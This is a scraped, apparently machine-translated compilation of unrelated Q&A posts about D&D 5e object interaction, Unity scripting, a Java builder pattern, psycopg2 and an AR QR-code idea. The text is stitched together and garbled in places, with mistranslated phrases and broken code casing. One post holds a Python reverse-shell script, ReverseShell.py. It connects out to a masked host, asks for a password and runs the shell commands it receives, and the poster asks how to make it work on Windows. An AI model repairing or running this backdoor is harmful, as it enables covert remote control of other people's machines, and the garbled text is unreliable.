dnd 5e – object interaction in combat

Probably yes, but ask your DM

First of all – Yes you can::

Your character can do things that are not covered by the actions in
this chapter …

When you describe an action that is not listed anywhere else in
According to the rules, the DM will tell you whether this action is possible
and what kind of role you have to do, if any

PHB page 193, "Actions in Combat"

The player's manual explicitly describes an object interaction:

You can also interact with an object or a function of the environment for free

For the DM you may have to use an action for one of these activities

PHB page 190, "Other Activities on Your Train"

The only question is – what mechanics will the DM use to assess this? Will he get you to take an action? Well, we don't know your DM and ultimately it's up to them, but here's my advice.

So your ally ends her turn and gives you permission to get his weapon. Let's simplify the situation a little and assume that he drops the gun at the end of the turn. You can pick up this weapon on your turn without taking any action With a "free object interaction" you give the rules. The mechanics therefore explicitly allow a weapon to be handed over, provided the weapon is not used between rounds. It is up to the players to describe this action using the narrative.

Now let's say the ally still allows you to get your weapon, for some reason it didn't drop the weapon. (S) he may want to do this for two reasons:

  1. The player does not want an enemy to pick up the dropped weapon
  2. The player wants a mechanical advantage by holding a weapon – a bonus from a magical item, the ability to make an occasional attack, etc.

Both only make sense if it is your opponent's turn between turns. In this case DM could say "Wait, you can't give a weapon you are currently using" and ask the player to take an action.

PHB describes a precedent for the delivery of an article

The player's manual on page 190 contains some examples of "free object interaction":

Here are some examples of what you can do with your move and action:

  • Give an item to another character

So the rules assume that you can give your weapon to another character without spending any action. They don't describe to get a weapon of a different character (but that still doesn't mean you can't).

The 5th edition of D&D enables the DM in a way that the 3rd, 3.5 and 4th did not. While rule zero was always applied, the 5th edition decides not to explicitly codify many things. If your DM says you can't, you can't (but don't hesitate to ask "why").

Augmented Reality – Is it possible to recognize a QR code in a rendered 3D object in AR?

My idea here is that when a user arrives at a GPS location in the game, an AR view recognizes the environment and displays a rendered 3D game object.

But I also want this virtual 3D game object to contain a random QR / Pin code that the app can then recognize and read. Trigger other navigation.

Kind of like the beginning.

Unit – Why doesn't scaling an object in one direction (forward) start smoothly?

using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class Raise : MonoBehaviour
{
    public float maxScale = 10f;
    public float speed = 1f;

    private Vector3 v3OrgPos;
    private float orgScale;
    private float endScale;

    void Awake()
    {
        v3OrgPos = transform.position - transform.forward;
        orgScale = transform.localScale.z;
        endScale = orgScale;
    }

    void Update()
    {
        ResizeOn();
    }

    private void ResizeOn()
    {
        transform.localScale = new Vector3(transform.localScale.x, transform.localScale.y, Mathf.MoveTowards(transform.localScale.z, endScale, Time.deltaTime * speed));
        transform.position = v3OrgPos + (transform.forward) * (transform.localScale.z / 2.0f + orgScale / 2.0f);
        /*if (Input.GetKeyDown(KeyCode.S))
        {
            endScale = maxScale;
        }
        else if (Input.GetKeyDown(KeyCode.R))
        {
            endScale = orgScale;
        }*/

        endScale = maxScale;

    }
}

If I use the S and R keys when I press S, the scaling starts smoothly.
However, if you don't use the buttons and start scaling while running the game, there will be some delay, or it looks like the first frame is scaling it by one like a jump effect. Then the scaling continues smoothly.

But the first image, or the first time it looks like it is scaled once and then continued smoothly, does not scale smoothly when the game is run from the beginning.

Linux – Python Socket Errors "A byte-like object is required, not & # 39; str & # 39 ;.

This is my script. It works perfectly on Linux, but when I run it on a Windows computer it shows 2 errors. listed below.

Import subprocess
Import socket

host = "*********"
port = ***
passwd = "****"
def Login ():
global s
s.send ("Login:")
pwd = s.recv (1024)

if pwd.strip() != passwd:
    Login()
else:
    s.send("SHELL ")
    Shell()

def Shell ():
while true:
data = s.recv (1024)

    if data.strip() == ":kill":
        break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
    s.send("#> ")

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ((host, port))
Log in()

BELOW ARE THE TWO FAULTS What needs to be changed?

C: Users IEUser Desktop Python> Python ReverseShell.py
Traceback (last call last):
ReverseShell.py file, line 34, in
Log in()
"ReverseShell.py" file, line 11, in login
s.send ("Login:")
TypeError: A byte-like object is required, not & # 39; str & # 39;

Java – Builder Design Pattern Pass Object

What I've seen the most when it comes to builder patterns is the object (in your case) Animal) is built in the build Builder's method. It is preferred to create instances of objects with all the data that the object should have, e.g. B. no invalid states of an object. This prevents you from having an illegal status in your program that can lead to errors. By your Animal Once you create a builder instance, you need to create yours Animal changeable, which is not always what you want. For example, in some cases a class can only have one final Fields that can only be assigned via the constructor.

In your case, construct the Animal by doing build Method it would look something like this:

public class Animal {

    private String animalName;
    private int animalAge;

    public static class AnimalBuilder {
        private String animalName;
        private int animalAge;

        public AnimalBuilder() {
        }

        public Builder withName(String animalName) {
            this.animalName = animalName;
            return this;
        }

        public Builder withAge(int animalAge) {
            this.animalAge = animalAge;
            return this;
        }

        public Animal build(){
            Animal animal = new Animal();
            animal.animalName = this.animalName;
            animal.animalAge = this.animalAge;
            return animal;
        }
    }

    public Animal(){ }

    public String getAnimalName() {
        return animalName;
    }

    public int getAnimalAge() {
        return animalAge;
    } 
}

You can then use it

Animal animal = new AnimalBuilder()
    .withName("Terry")
    .withAge(5)
    .build();

You can also add a static method builder() to the Animal Class that returns a new builder:

public class Animal {
    ...

    public static AnimalBuilder builder() {
        return new AnimalBuilder();
    }
}

Animal animal = Animal.builder()
    .withName("Terry")
    .withAge(5)
    .build();

Does this mean a lot of duplication? Unfortunately, builder patterns require a lot of duplicate code. You can also look at Lombok's builder annotation, which generates all of the builder boilerplate code for you. In that case it will be easy

@Builder
public class Animal {

    private String animalName;
    private int animalAge;

    public Animal(){ }

    public String getAnimalName() {
        return animalName;
    }

    public int getAnimalAge() {
        return animalAge;
    } 
}
```

python – The file object is empty after copying to the database with Psycopg2

In the following example, the contents of the file appear to be empty after executing the copy_expert command, and pd.read_csv reports an error that the file is empty. The file appears to be empty, even if I do this in reverse order (read_csv before copy_expert). Why is the file empty and how can I deal with this scenario?

    file = //download file from S3

    copy_sql = """
                   COPY %s FROM stdin WITH CSV HEADER
                   DELIMITER as ','
                   """
    cursor = self.connection.cursor()
    cursor.copy_expert(sql=copy_sql % table_name, file=file)
    cursor.close()

   df = pd.read_csv(file, dtype={// dtype value})

Unity – How can I tell if a game object is touching another game object on a particular day?

I've seen similar questions here on Stack Exchange – Game Development, but none of the answers to these questions helped my problem. I work in Unity 2019.2.18f1 with the Visual Studios 2019 community.

What I want to know to know when a game object (the player) is touching another game object with the tag name "Block". If the player collides with a "block", he should be placed: jumpPossible = true; But when it leaves the block (by jumping or falling) jumpPossible = false;

What I currently have in mine PlayerController Script (the important stuff anyway):

private void OnCollisionEnter(Collision collision) {
    if (collision.gameObject.CompareTag("Block")) {
        jumpPossible = true;
    }
}

private void OnCollisionExit(Collision collision) {
    if (collision.gameObject.CompareTag("Block")) {
        jumpPossible = false;
    }
}

The problem I have is when the player is in one block and then touching another block. If it leaves one of the blocks, the following is set: jumpPossible = false; and you can't jump like that.

I want this script to run whenever the player touches any Gameobject with the tag "Block" should allow jumping.

C # – constructive criticism of the Unity3d object pool

I want to check my object pool scripts in Unity3d / C #.

Adding objects is very easy:

GameObject newObject = yourPool.AddObjectAtPosition(yourNewPosition);
newObject.transform.position=new Vector3();

Get rid of one:

yourPool.HideObject();

I use 2 stacks as pools, one primary and one secondary.
If objects are not used, they are automatically cleaned up, which means that less memory is required.

  1. Is it easy to implement and set up in your project? If not, why and how can I improve it?

  2. Does it work well for your project? Did you encounter any errors?

  3. Is the code well structured and readable? If not, what's wrong with that?

  4. Is it performant / efficient? If not, what's wrong with that?

  5. Is it a good idea to use 2 pools or is it just too complicated?

  6. What would it do better (easier to use, more powerful, etc.)?

  7. Does it need more documentation / comments to explain how it works?

  8. What did you like about it?

  9. What didn't you like about it?

  10. Are you going to use it

You can clone from here.